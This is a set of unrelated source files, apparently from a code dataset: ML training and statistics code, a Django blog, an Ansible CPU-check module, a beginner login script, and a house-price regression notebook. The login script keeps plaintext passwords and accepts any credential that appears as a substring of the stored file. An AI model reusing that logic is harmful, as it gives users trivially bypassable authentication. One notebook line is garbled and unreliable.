({batch_time.avg:.3f})\\t'\n # 'Loss {loss.val:.4f} ({loss.avg:.4f})\\t'\n # 'acc1 {acc1M.val:.3f}% ({acc1M.avg:.3f}%)'.format(\n # i, len(testloader), batch_time=batch_time, loss=lossM,\n # acc1M=acc1M))\n # if i == 0:\n # out_array = output.detach().cpu().numpy()\n # else:\n # out_array = np.concatenate((out_array,output.detach().cpu().numpy()), axis=0)\n\n print(' * Accuracy {acc1M.avg:.3f}% '.format(acc1M=acc1M))\n\n if epoch >= 0:\n # global_step = epoch * epoch_len + epoch_len - 1\n writer.add_scalar('test_loss', lossM.avg, epoch)\n writer.add_scalar('test_acc', acc1M.avg, epoch)\n # print('Saving output:')\n # np.save(os.path.join(args.output_path, 'out{:0>3}.npy'.format(epoch)), out_array)\n\n return acc1M.avg\n\ndef save_checkpoint(state, is_best, epoch):\n if is_best:\n filepath = os.path.join(args.checkpoint_path, 'model{:0>3}best.pth'.format(epoch))\n torch.save(state, filepath)\n elif epoch % args.save_freq == 0:\n filepath = os.path.join(args.checkpoint_path, 'model{:0>3}.pth'.format(epoch))\n torch.save(state, filepath)\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\n\ndef adjust_learning_rate(optimizer, epoch, file_path):\n f = open(file_path)\n lines = f.readlines()\n lines = [i.strip() for i in lines]\n lines = [i for i in lines if i]\n f.close()\n\n for line in lines:\n t, l = line.split()\n t = int(t)\n l = float(l)\n\n if epoch == t:\n lr_times = l\n break\n else:\n lr_times = 1\n\n for param_group in optimizer.param_groups:\n tmp_lr = param_group['lr']\n lr = tmp_lr * lr_times\n param_group['lr'] = lr\n # global_step = epoch * epoch_len\n print('epoch' + str(epoch) + ' learning rate times: ' + str(lr_times) + '\\n')\n # writer.add_scalar('lr', lr, global_step)\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.detach().topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.detach().view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"gjliu9/graph_scattering","sub_path":"main_MLP.py","file_name":"main_MLP.py","file_ext":"py","file_size_in_byte":13279,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"20688371029","text":"# -*- coding: utf-8 -*-\r\nfrom collections import OrderedDict\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom scipy import stats\r\n\r\nfrom statspy.base import BaseModel, coef_test, calc_R_sq\r\nfrom statspy.tools import show_model_res\r\n\r\n\r\nclass WeightedLeastSquare(BaseModel):\r\n '''Ordinary least square estimation\r\n '''\r\n def __init__(self, df, y_var, x_vars, wt_var, has_const=True):\r\n super(WeightedLeastSquare, self).__init__(df, y_var, x_vars, wt_var=wt_var, has_const=has_const)\r\n self._clean_data()\r\n \r\n def predict(self, df):\r\n assert self._fitted\r\n if self.has_const:\r\n X = df.assign(_const=1)[self.x_vars]\r\n else:\r\n X = df[self.x_vars]\r\n return X.values.dot(self.res_table['Coef'].values)\r\n \r\n def fit(self, show_res=True):\r\n y = self.reg_df[self.y_var].values\r\n X = self.reg_df[self.x_vars].values\r\n wt = self.reg_df[self.wt_var].values\r\n n, K = X.shape\r\n \r\n wXt = X.T * wt\r\n wXtX = wXt.dot(X)\r\n wXtX_inv = np.linalg.inv(wXtX)\r\n \r\n b_hat = wXtX_inv.dot(wXt.dot(y))\r\n y_hat = X.dot(b_hat)\r\n e_hat = y - y_hat\r\n s_sq = (e_hat ** 2).dot(wt ** 2) / (wt ** 2).sum() * n / (n-K)\r\n s = s_sq ** 0.5\r\n \r\n # Calculate R-squared\r\n R_sq, adj_R_sq, SSE, SSR, SST = calc_R_sq(y, y_hat, n, K, wt=wt, return_SS=True)\r\n \r\n # sqrt(n)*(b-beta) ~ N(0, Avarb)\r\n # b-beta = (X'WX)-1 * X' * (wt * epsilon)\r\n S_hat = X.T.dot((e_hat[:, None]**2)*(wt[:, None]**2) * X) / n\r\n Avarb_hat = (n*wXtX_inv).dot(S_hat).dot(n*wXtX_inv)\r\n \r\n # Freedom adjusted as n-K to be consistent with stata\r\n Avarb_hat = Avarb_hat * n / (n-K)\r\n \r\n # Estimated Var-Cov matrix of b_hat\r\n est_cov = Avarb_hat / n\r\n t_dist = stats.t(n-K)\r\n est_std_err, t_stat, p_value, CI_lower, CI_upper = coef_test(b_hat, est_cov, t_dist, CI_alpha=0.05)\r\n \r\n self.res_table = pd.DataFrame(OrderedDict([('Coef', b_hat), \r\n ('Std.Err', est_std_err),\r\n ('t', t_stat),\r\n ('p', p_value),\r\n ('CI.lower', CI_lower),\r\n ('CI.upper', CI_upper)]), index=self.x_vars)\r\n\r\n self.res_stats = pd.Series(OrderedDict([('method', 'WLS'),\r\n ('obs', n),\r\n ('RMSE', s),\r\n ('SSE', SSE),\r\n ('SSR', SSR),\r\n ('SST', SST),\r\n ('R-sq', R_sq),\r\n ('adj-R-sq', adj_R_sq)]))\r\n self._fitted = True \r\n if show_res:\r\n show_model_res(self)\r\n ","repo_name":"syuoni/statspy","sub_path":"statspy/ols/wls.py","file_name":"wls.py","file_ext":"py","file_size_in_byte":3079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23800268027","text":"class Mail:\r\n server = 'server'\r\n user = 'username'\r\n password = 'password'\r\n\r\n\r\nclass VE:\r\n one = 'callsign_one'\r\n two = 'callsign_two'\r\n three = 'callsign_three'\r\n\r\n\r\nclass Header:\r\n fields = {\r\n 'First Name': 'FIRST_NAME',\r\n 'Middle Initial': 'MIDDLE_INITIAL',\r\n 'Last Name': 'LAST_NAME',\r\n 'Suffix': 'NAME_SUFFIX',\r\n 'Street Address': 'STREET_ADDRESS',\r\n 'PO Box': 'PO_BOX',\r\n 'City': 'CITY',\r\n 'State': 'STATE',\r\n 'Zip Code': 'ZIP_CODE',\r\n 'Phone': 'TELEPHONE',\r\n 'Email': 'E_MAIL',\r\n 'FCC FRN Number': 'FRN',\r\n 'Callsign': 'CALL_SIGN',\r\n 'Exams': 'NOTES',\r\n 'Felony Conviction': 'FELONY_CONVICTION',\r\n 'UPGRADE_LICENSE': 'UPGRADE_LICENSE',\r\n 'REQUESTED_ELEMENT_3': 'REQUESTED_ELEMENT_3',\r\n 'REQUESTED_ELEMENT_4': 'REQUESTED_ELEMENT_4',\r\n 'PREVIOUS_APPLICATION': 'PREVIOUS_APPLICATION',\r\n 'CERTIFYING_VES': 'CERTIFYING_VES',\r\n }\r\n \r\n","repo_name":"markbuch/packfish-matt","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"28659317251","text":"# -*- coding: utf-8 -*- \n\nfrom django.shortcuts import render\nfrom django.template import loader, Context\nfrom django.http import HttpResponse\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom blog.models import BlogsPost, Header\nimport json\nimport datetime\n\ndef archive(request):\n like_id = request.GET.get('like_id')\n if like_id != None:\n post = BlogsPost.objects.get(id=like_id)\n post.like += 1\n post.save()\n header = Header.objects.get()\n post = BlogsPost.objects.get(id=like_id)\n templ = loader.get_template(\"article.html\")\n cont = Context({\n 'header': header,\n 'post': post,\n })\n return HttpResponse(templ.render(cont))\n\n article_id = request.GET.get('article')\n if article_id != None:\n header = Header.objects.get()\n post = BlogsPost.objects.get(id=article_id)\n templ = loader.get_template(\"article.html\")\n cont = Context({\n 'header': header,\n 'post': post,\n })\n return HttpResponse(templ.render(cont))\n else:\n header = Header.objects.get()\n all_posts = BlogsPost.objects.all().order_by('-timestamp')\n paginator = Paginator(all_posts, 10)\n page = request.GET.get('page')\n try:\n posts = paginator.page(page)\n except PageNotAnInteger:\n posts = paginator.page(1)\n except EmptyPage:\n posts = paginator.page(paginator.num_pages)\n\n templ = loader.get_template(\"base.html\")\n # shrink body\n for post in posts:\n post.body = post.body[0:80] + '...'\n\n cont = Context({\n 'header': header,\n 'posts': posts,\n })\n return HttpResponse(templ.render(cont))\n\n\n\ndef iosapi(request):\n blogData = []\n for post in BlogsPost.objects.all():\n postData = {\n 'title': post.title,\n 'author': post.author,\n 'body': post.body,\n 'like': post.like,\n 'date': post.timestamp.strftime('%Y/%m/%d %H:%M:%S')\n }\n blogData.append(postData)\n # ensure_ascii=False Chinese\n return HttpResponse(json.dumps(blogData, ensure_ascii=False), content_type='application/json')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"forkercat/chuckwo-website","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"4845486911","text":"#!/usr/bin/env python\n\n# -*- coding: utf-8 -*-\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"ovs_dpdk_pmd_cpus_check module\nUsed by the ovs_dpdk_pmd validation.\n\"\"\"\nfrom ansible.module_utils.basic import AnsibleModule\nfrom yaml import safe_load as yaml_safe_load\n\nDOCUMENTATION = '''\n---\nmodule: OVS DPDK PMD CPU's check\nshort_description: Run PMD CPU's from all the NUMA nodes check\ndescription:\n - Run PMD CPU's from all the NUMA nodes check\n - Used by ovs_dpdk_pmd validation.\n - Owned by the DFG:NFV Integration\noptions:\n pmd_cpu_mask:\n required: true\n description:\n - The pmd cpu mask value\n type: str\nauthor: \"Jaganathan Palanisamy\"\n'''\n\nEXAMPLES = '''\n- hosts: ComputeOvsDpdk\n vars:\n pmd_cpu_mask: \"1010010000000001\"\n tasks:\n - name: Run PMD CPU's check\n become: true\n ovs_dpdk_pmd_cpus_check: pmd_cpu_mask={{ pmad_cpu_mask }}\n'''\n\n\ndef get_cpus_list_from_mask_value(mask_val):\n \"\"\"Gets CPU's list from the mask value\n\n :return: comma separated CPU's list\n \"\"\"\n mask_val = mask_val.strip('\\\\\"')\n cpus_list = []\n int_mask_val = int(mask_val, 16)\n bin_mask_val = bin(int_mask_val)\n bin_mask_val = str(bin_mask_val).replace('0b', '')\n rev_bin_mask_val = bin_mask_val[::-1]\n thread = 0\n for bin_val in rev_bin_mask_val:\n if bin_val == '1':\n cpus_list.append(thread)\n thread += 1\n return ','.join([str(cpu) for cpu in cpus_list])\n\n\n# Gets the distinct numa nodes, physical and logical cpus info\n# for all numa nodes.\ndef get_nodes_cores_info(module):\n dict_cpus = {}\n numa_nodes = []\n cmd = \"sudo lscpu -p=NODE,CORE,CPU\"\n result = module.run_command(cmd)\n if (not result or (result[0] != 0) or not (str(result[1]).strip(' '))):\n err = \"Unable to determine physical and logical cpus.\"\n module.fail_json(msg=err)\n else:\n for line in str(result[1]).split('\\n'):\n if (line.strip(' ') and not line.strip(' ').startswith('#')):\n cpu_info = line.strip(' ').split(',')\n try:\n node = int(cpu_info[0])\n cpu = int(cpu_info[1])\n thread = int(cpu_info[2])\n if node not in numa_nodes:\n numa_nodes.append(node)\n # CPU and NUMA node together forms a unique value,\n # as cpu is specific to a NUMA node\n # NUMA node id and cpu id tuple is used for unique key\n key = node, cpu\n if key in dict_cpus:\n if thread not in dict_cpus[key]['thread_siblings']:\n dict_cpus[key]['thread_siblings'].append(thread)\n else:\n cpu_item = {}\n cpu_item['thread_siblings'] = [thread]\n cpu_item['cpu'] = cpu\n cpu_item['numa_node'] = node\n dict_cpus[key] = cpu_item\n except (IndexError, ValueError):\n err = \"Unable to determine physical and logical cpus.\"\n module.fail_json(msg=err)\n return (numa_nodes, list(dict_cpus.values()))\n\n\ndef validate_pmd_cpus(module, pmd_cpu_mask):\n pmd_cpus = get_cpus_list_from_mask_value(pmd_cpu_mask)\n pmd_cpu_list = pmd_cpus.split(',')\n cpus = []\n numa_nodes = []\n numa_nodes, cpus = get_nodes_cores_info(module)\n valid_numa_nodes = {}\n for numa_node in numa_nodes:\n valid_numa_nodes[str(numa_node)] = False\n for cpu in cpus:\n if cpu['numa_node'] == numa_node:\n if True in [int(pmd_cpu) in cpu['thread_siblings']\n for pmd_cpu in pmd_cpu_list]:\n valid_numa_nodes[str(numa_node)] = True\n invalid_numa_nodes = [node for node, val in valid_numa_nodes.items()\n if not val]\n if invalid_numa_nodes:\n failed_nodes = ','.join(invalid_numa_nodes)\n err = (\"Invalid PMD CPU's, cpu is not used from \"\n \"NUMA node(s): %(node)s.\" % {'node': failed_nodes})\n module.fail_json(msg=err)\n else:\n module.exit_json(msg=\"PMD CPU's configured correctly.\")\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=yaml_safe_load(DOCUMENTATION)['options']\n )\n\n validate_pmd_cpus(module,\n module.params.get('pmd_cpu_mask'))\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"openstack/tripleo-validations","sub_path":"library/ovs_dpdk_pmd_cpus_check.py","file_name":"ovs_dpdk_pmd_cpus_check.py","file_ext":"py","file_size_in_byte":4980,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"31"} +{"seq_id":"34317172638","text":"#Creo una base de datos con una ruta nueva ya que antes usaba colab\nBD={'camila':'clave12'}\nruta= 'bd.txt'\n\n#Funcion para escribir los datos en la base\ndef escribir(datos):\n with open (ruta , 'w') as f:\n f.write(str(datos))\n\n#Funcion para registrar a usuarios nuevos y guardarlos en la base de datos\ndef registro(BD):\n usuario = ''\n contraseña = ''\n usuario = input('Ingresa el usuario: ')\n contraseña = input(\"Ingresa la contraseña: \")\n BD[usuario] = contraseña\n escribir(BD)\n DevolverCredencial(usuario,contraseña)\n \n\n#Ingreso a registrarme registro(BD)\n\n#Funcion para devolver los datos de las credenciales recien registradas\ndef DevolverCredencial(usuario,contraseña):\n file = open(ruta , 'r')\n content = file.read()\n if usuario in content:\n print(f\"Su usuario es {usuario}\")\n print(f\"Su contraseña es {contraseña} \")\n\n#Funcion para leer toda la informacion almacenada en la base de datos\ndef LeerData(BD):\n file = open(ruta , 'r')\n content = file.read()\n print(BD)\n\n #Lee toda la data almacenada en el txt LeerData(BD)\n\n#Funcion para ingresar credenciales ya registrados\ndef ingresarCredenciales():\n file = open(ruta , 'r')\n content = file.read()\n usuario = ''\n usuario = input('Ingrese su nombre de usuario: ')\n if usuario in content:\n ingresarContraseña(usuario)\n else:\n print('USUARIO INEXISTENTE. Ingrese su nombre de usuario o registrese.')\n\n\n#Funcion para ingresar la contraseña que se usara en ingresarCredenciales\ndef ingresarContraseña(usuario):\n file = open(ruta , 'r')\n content = file.read()\n contraseña = ''\n contraseña = input('Ingrese su contraseña: ')\n if contraseña in content:\n imprimirBienvenida(usuario)\n else:\n print('CONTRASEÑA INCORRECTA. Restablezca su contraseña.')\n\n#Funcion login que se utilizara para logearse en el sitio\ndef login():\n ingresarCredenciales()\n\n#Funcion para imprimir solo el nombre de usuario\ndef imprimirBienvenida(usuario):\n file = open(ruta , 'r')\n content = file.read()\n if usuario in content:\n print(f\"Bienvenido {usuario}\")\n\n#Pruebo la funcion login\nlogin()","repo_name":"belchus/EntregaPython","sub_path":"mi_primer_paquete/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25963442290","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ### Predict the price of a house\n# #### Steps followed in order to achieve the problem statement:\n# ##### 1) Import neccesary libraries\n# ##### 2) Understanding Data, Preprocessing and Cleaning\n# ##### 3) Exploratory Data Analysis (EDA)\n# ##### 4) Model Building \n# ###### Exploration of different models\n# ###### - Multiple Linear Regression\n# ###### - Polynomial Regression\n# ###### - Random Forest Regressor\n# ###### - Random Forest Regressor with hyperparameter tuning\n# ##### 5) Results and Conclusion\n# ***\n\n# #### Import neccesary Libraries\n\n# In[1]:\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy import stats\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# #### Understanding Data and Preprocessing\n\n# *Import the data*\n\n# In[2]:\n\n\ndf = pd.read_excel(\"C://Users//honey//Downloads//DS - Assignment Part 1 data set.xlsx\")\ndf.head()\n\n\n# *Understanding the data*\n\n# In[3]:\n\n\ndf.shape\n\n\n# `Dataset has 9 columns (features) and 414 rows (records).The 'House price of unit area' column is the target variable and the remaining are the feature variables based on which we will predict the price of a house.`\n\n# In[4]:\n\n\ndf.describe()\n\n\n# `This provides the summary statistics for all variables in the dataset.`\n\n# In[5]:\n\n\ndf.info()\n\n\n# `Info gives null / not-null count and Data Types for every column.`\n# * `As from the above we can conclude that we have only numerical columns having 'int' and 'float' data types.`\n# * `The dataset has no missing values.`\n\n# In[6]:\n\n\ndf.nunique()\n\n\n# `\"nunique\" describes number of unique values per column.`\n\n# In[7]:\n\n\nduplicates = df.duplicated()\nduplicates.sum()\n\n\n# * `The above code removes all the duplicate rows from the dataset.`\n# * `Here it doesn't have any duplicate rows.`\n\n# #### Exploratory Data Analysis\n\n# *Outlier Detection and Removal*\n\n# In[30]:\n\n\nplt.figure(figsize=(13,6))\nfor feat,i in zip(df,range(0,9)):\n plt.subplot(3,3,i+1)\n sns.boxplot(y=df[feat], color='grey')\n plt.ylabel('Value')\n plt.title('Boxplot\\n%s'%feat)\nplt.tight_layout()\n\n\n# `Visualizing boxplot for every column in order to detect outliers.`\n\n# In[31]:\n\n\n#Finding the 25th percentile and 75th percentiles.\nQ1 = df.quantile(0.25) \nQ3 = df.quantile(0.75)\n\n#Inter Quantile Range (75th perentile - 25th percentile)\nIQR = Q3 - Q1 \n\n#Finding lower and upper bounds for all values. All values outside these bounds are outliers\nlower_limit=Q1-1.5*IQR \nupper_limit=Q3+1.5*IQR\n\nper = pd.DataFrame(((df.select_dtypes(include=['float64','int64'])upper_limit)).sum(),columns=['Outliers'])\nper['Percentage of Outliers'] = [(round((o/414)*100,2)) for o in per.Outliers]\nprint(per)\n\n\n# * `Counting Outlier's count and percentage for every column.`\n# * `The maximum percentage of Outliers is 8% which is very less.` \n\n# #### Univariate Analysis \n\n# *Visualzing and Analyzing every column individually.*\n\n# In[10]:\n\n\np=sns.displot(data= df, x='House Age', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The above graph depicts that the 'House Age' in between 10-20.`\n\n# In[11]:\n\n\np=sns.displot(data= df, x='Distance from nearest Metro station (km)', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `We can conclude that houses are majorly 0-1000 km distant from nearest metro station.`\n\n# In[12]:\n\n\np=sns.displot(data= df, x='Number of convenience stores', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The number of convenience stores are variant.`\n\n# In[13]:\n\n\np=sns.displot(data= df, x='latitude', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The above graph says the latitude lies between the range 24.96-24.99 .`\n\n# In[14]:\n\n\np=sns.displot(data= df, x='longitude', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The above graph says the latitude lies between the range 121.53-121.55 .`\n\n# In[15]:\n\n\np=sns.displot(data= df, x='Number of bedrooms', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The number of bedrooms are variant.`\n\n# In[16]:\n\n\np=sns.displot(data= df, x='House size (sqft)', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The House size are majorly ranged between 400-600 sqft and 900-1400 sqft.`\n\n# In[17]:\n\n\np=sns.displot(data= df, x='House price of unit area', kde=True , color='green',bins=50)\np.fig.set_dpi(80)\n\n\n# `The House of price mainly relies between 40-50 unit area.`\n\n# #### Bivariate Analysis \n\n# *Check for Linearity.*\n\n# In[18]:\n\n\nplt.figure(figsize=(6,4))\nsns.regplot(x=df['House Age'], y=df['House price of unit area']);\n\n\n# `The above plot depicts that as the house age increases, the price decreases.`\n\n# In[19]:\n\n\nplt.figure(figsize=(6,4))\nsns.regplot(x=df['Distance from nearest Metro station (km)'], y=df['House price of unit area']);\n\n\n# * `The above plot depicts that as the distance to the nearest MRT station increases, the price decreases. `\n# * `This states that the houses that are near to MRT station have higher price.`\n\n# In[21]:\n\n\nsns.barplot(x=df['Number of convenience stores'], y=df['House price of unit area']);\n\n\n# `As the number of convenience stores increase in the locality, House price goes up. This shows positive relation between these attributes.`\n\n# In[22]:\n\n\nsns.lineplot(x=df['House Age'], y=df['Distance from nearest Metro station (km)']);\n\n\n# `This shows that houses with an average age of 15 - 20 years have high distances to MRT station while the houses aged for 35+ years are more closer to the stations.`\n\n# `From the Bivariate analysis, we can conclude there is some linear relationship but not a perfect one.Therefore we can compare models between Multiple Linear Regression (as data is near to linear) and Polynomial Regression (as data has shown non-linear patterns too).`\n\n# #### Multivariate Analysis \n\n# In[23]:\n\n\nplt.figure(figsize=(8,5))\nsns.scatterplot(data=df, x=df['Distance from nearest Metro station (km)'], y=df['Number of convenience stores'], hue=df['House price of unit area'])\n\n\n# `According to the above plot , the House price goes up comparatively as 1) there is a an increase in 'Number of convenience stores' and 2) the distance is minimum i.e between 0-2000 km.`\n\n# In[24]:\n\n\nplt.figure(figsize=(8,5))\nsns.scatterplot(data=df, x=df['latitude'], y=df['longitude'], hue=df['House price of unit area'])\n\n\n# `According to the above plot , the House price goes up comparatively as 1) the latitude is in the range 24.96-24.98. and 2)the longitude is in the range 121.53-121.55.`\n\n# In[27]:\n\n\n#doubt\nplt.figure(figsize=(5, 5), dpi=100)\n\nsns.scatterplot(data=df, y=df['House price of unit area'], x=df['Transaction date'] , hue= 'House Age', palette=\"rocket\")\n\n\n# *Creating a pairplot for the dataset.*\n\n# In[25]:\n\n\nsns.pairplot(df)\n\n\n# `Pairplot displays multiple pairwise bivariate distributions in a dataset.`\n\n# *Creating a correlation matrix*\n\n# In[28]:\n\n\ncor = df.corr()\nax = sns.heatmap(cor,annot=True,linewidths=.5)\n\n\n# `Correlation matrix explains the relationships between every variable.`\n\n# In[29]:\n\n\ncor_target = abs(cor['House price of unit area'])\ncor_target\n\n\n# `Correlation between all independent variables with the dependent variable.`\n# \n# `- \"Distance from nearest Metro station (km)\" has the highest correaltion with \"House price of unit area.\"`\n\n# In[60]:\n\n\ncor1 = df.corr()\nsns.heatmap(cor1, annot = True,linewidths=.5)\n\n\n# `Correlation between all independent variables:`\n# \n# `- Data doesn't have High correlation amongst features. There is almost low chance of collinearity`\n# ***\n# \n\n# *Conclusion from EDA and Graph plots:*\n\n# `- Data is clean having no null values.` \n# \n# `- Data has very less outliers.` \n# \n# `- Data doesn't have High correlation amongst attributes.`\n# \n# `- Houses with more convenience stores in the area, with low age have high prices.`\n# \n# `- Houses that are aged have more MRT stations near them and fall in low price.`\n\n# ###### Model Building\n\n# *Splitting Data as features and Target variables.*\n\n# In[32]:\n\n\nX = df.iloc[:,:-1]\ny = df.iloc[:,-1]\n\n\n# *Independent Features*\n\n# In[33]:\n\n\nX.head()\n\n\n# *Target Variable*\n\n# In[34]:\n\n\ny.head()\n\n\n# *Splitting Data into train and test data.*\n\n# In[65]:\n\n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X,y, test_size=0.3, random_state=10)\n\n\n# *Scaling the data by using Min-Max Scaler.*\n\n# In[38]:\n\n\nfrom sklearn.preprocessing import MinMaxScaler\nmms = MinMaxScaler()\nX_train_norm = mms.fit_transform(X_train)\nX_test_norm = mms.transform(X_test)\n\n\n# `Transform features by scaling each feature individually such that it is in the given range on the training set, e.g. between zero and one.`\n\n# ###### Multiple Linear Regression\n\n# * *As our problem statement is a regression problem with multiple independent variables, the thought to choose a model will be 'Multiple Linear Regression'.*\n# * *The model depicts that how strong the relationship is between two or more independent variables and one dependent variable.*\n\n# *Model building*\n\n# In[66]:\n\n\nfrom sklearn.linear_model import LinearRegression\n# create instance of the model and storing it to variable linear_model\nLinear_model = LinearRegression()\n# fit this into xtrain and y train to create the model\nLinear_model.fit(X_train,y_train)\n\n# next predict the values in the x test using this model created\n# and storing those values to variable y_pred\nlr_pred = Linear_model.predict(X_test)\n\nprint(\"Training Score using LR:\",Linear_model.score(X_train,y_train))\nprint(\"Testing Score using LR:\",Linear_model.score(X_test,y_test))\n\n\n# `Above is the Training and Test score from multiple linear regression.`\n\n# In[82]:\n\n\nfrom sklearn import metrics\nMAE1 = metrics.mean_absolute_error(y_test, lr_pred)\nMSE1 = metrics.mean_squared_error(y_test, lr_pred)\nRMSE1 = np.sqrt(MSE1)\nr21 = metrics.r2_score(y_test,lr_pred)\nprint(f\"MAE:{MAE1} \\nMSE:{MSE1}\\nRMSE:{RMSE1} \\nR2_Score:{r21}\")\n\n\n# `Above are the MAE,MSE and RMSE scores for multiple linear regression.`\n\n# In[41]:\n\n\npd.DataFrame({\"Y test\":y_test, \"Y_pred\":lr_pred}).head()\n\n\n# `Comparision between Actual and predicted.`\n\n# `From the above observations we can conclude that Multiple Linear Regression does not work that well with both training and testing.`\n\n# ###### Polynomial Regression\n\n# * *From EDA, we can conclude that data has shown non-linear patterns too. Also Multiple Linear Regression is not performing well.*\n# * *The polynomial models can be used in such a situation where the relationship between study and explanatory variables is curvilinear or sort of non-linear patterns.*\n\n# *Choosing the best polynomial degree through RMSE of train and test*\n\n# In[45]:\n\n\n# Train List of RMSE per degree\ntrain_RMSE_list=[]\n#Test List of RMSE per degree\ntest_RMSE_list=[]\n\nfor d in range(1,10):\n \n #Preprocessing\n #create poly data set for degree (d)\n polynomial_converter= PolynomialFeatures(degree=d, include_bias=False)\n poly_features= polynomial_converter.fit(X)\n poly_features= polynomial_converter.transform(X)\n \n #Split the dataset\n X_train, X_test, y_train, y_test = train_test_split(poly_features, y, test_size=0.3, random_state=101)\n \n #Train the Model\n polymodel=LinearRegression()\n polymodel.fit(X_train, y_train)\n \n #Predicting on both Train & Test Data\n y_train_pred=polymodel.predict(X_train)\n y_test_pred=polymodel.predict(X_test)\n \n #Evaluating the Model\n \n #RMSE of Train set\n train_RMSE=np.sqrt(metrics.mean_squared_error(y_train, y_train_pred))\n \n #RMSE of Test Set\n test_RMSE=np.sqrt(metrics.mean_squared_error(y_test, y_test_pred))\n \n #Append the RMSE to the Train and Test List\n \n train_RMSE_list.append(train_RMSE)\n test_RMSE_list.append(test_RMSE)\n\n\n# In[46]:\n\n\nplt.plot(range(1,5), train_RMSE_list[:4], label='Train RMSE')\nplt.plot(range(1,5), test_RMSE_list[:4], label='Test RMSE')\n\nplt.xlabel('Polynomial Degree')\nplt.ylabel('RMSE')\nplt.legend()\n\n\n# `Comparision between polynomial degrees between 1 to 10 vs RMSE scores of train and test.`\n# * `From the above plot we can conclude that Polynomial Degree of 2 works best with both train and test RMSE scores.`\n\n# *Model building*\n\n# In[42]:\n\n\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import r2_score\npoly = PolynomialFeatures(degree=2, include_bias=True)\nx_train_trans = poly.fit_transform(X_train)\nx_test_trans = poly.transform(X_test)\nLinear_model.fit(x_train_trans, y_train)\ny_pred1 = Linear_model.predict(x_test_trans)\nprint(\"Training Score using LR:\",Linear_model.score(x_train_trans,y_train))\nprint(\"Testing Score using LR:\",Linear_model.score(x_test_trans,y_test))\n\n\n# `Above is the Training and Test score from Polynomial Regression with degree 2.`\n\n# In[80]:\n\n\nfrom sklearn import metrics\nMAE2 = metrics.mean_absolute_error(y_test, y_pred1)\nMSE2 = metrics.mean_squared_error(y_test, y_pred1)\nRMSE2 = np.sqrt(MSE2)\nr22 = metrics.r2_score(y_test,y_pred1)\nprint(f\"MAE:{MAE2} \\nMSE:{MSE2}\\nRMSE:{RMSE2} \\nR2_Score:{r22}\")\n\n\n# `Above are the MAE,MSE and RMSE scores for Polynomial regression.`\n\n# In[44]:\n\n\npd.DataFrame({\"Y test\":y_test, \"Y_pred\":y_pred1}).head()\n\n\n# `Comparision between Actual and predicted.`\n\n# `From the above observations we can conclude that Polynomial Regression works pretty well than linear Regression.`\n\n# ###### Random Forest Regressor\n\n# * *A random forest regressor works with data having a numeric or continuous output and they cannot be defined by classes-which is the case in this dataset*\n# * *It is an ensemble algorithm which combines multiple random decision trees each trained on a subset of data which gives stability to the algorithm ,improve the predictive accuracy and control over-fitting.*\n# \n\n# In[55]:\n\n\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import RandomizedSearchCV\n\n\n# *Model building*\n\n# In[72]:\n\n\nmodel = RandomForestRegressor()\nmodel.fit(X_train,y_train)\ny_pred2=model.predict(X_test)\nprint(\"Training Score:\",model.score(X_train,y_train))\nprint(\"Testing Score:\",model.score(X_test,y_test))\n\n\n# `Above is the Training and Test score from Random Forest Regressor.`\n\n# In[78]:\n\n\nfrom sklearn import metrics\nMAE3 = metrics.mean_absolute_error(y_test, y_pred2)\nMSE3 = metrics.mean_squared_error(y_test, y_pred2)\nRMSE3 = 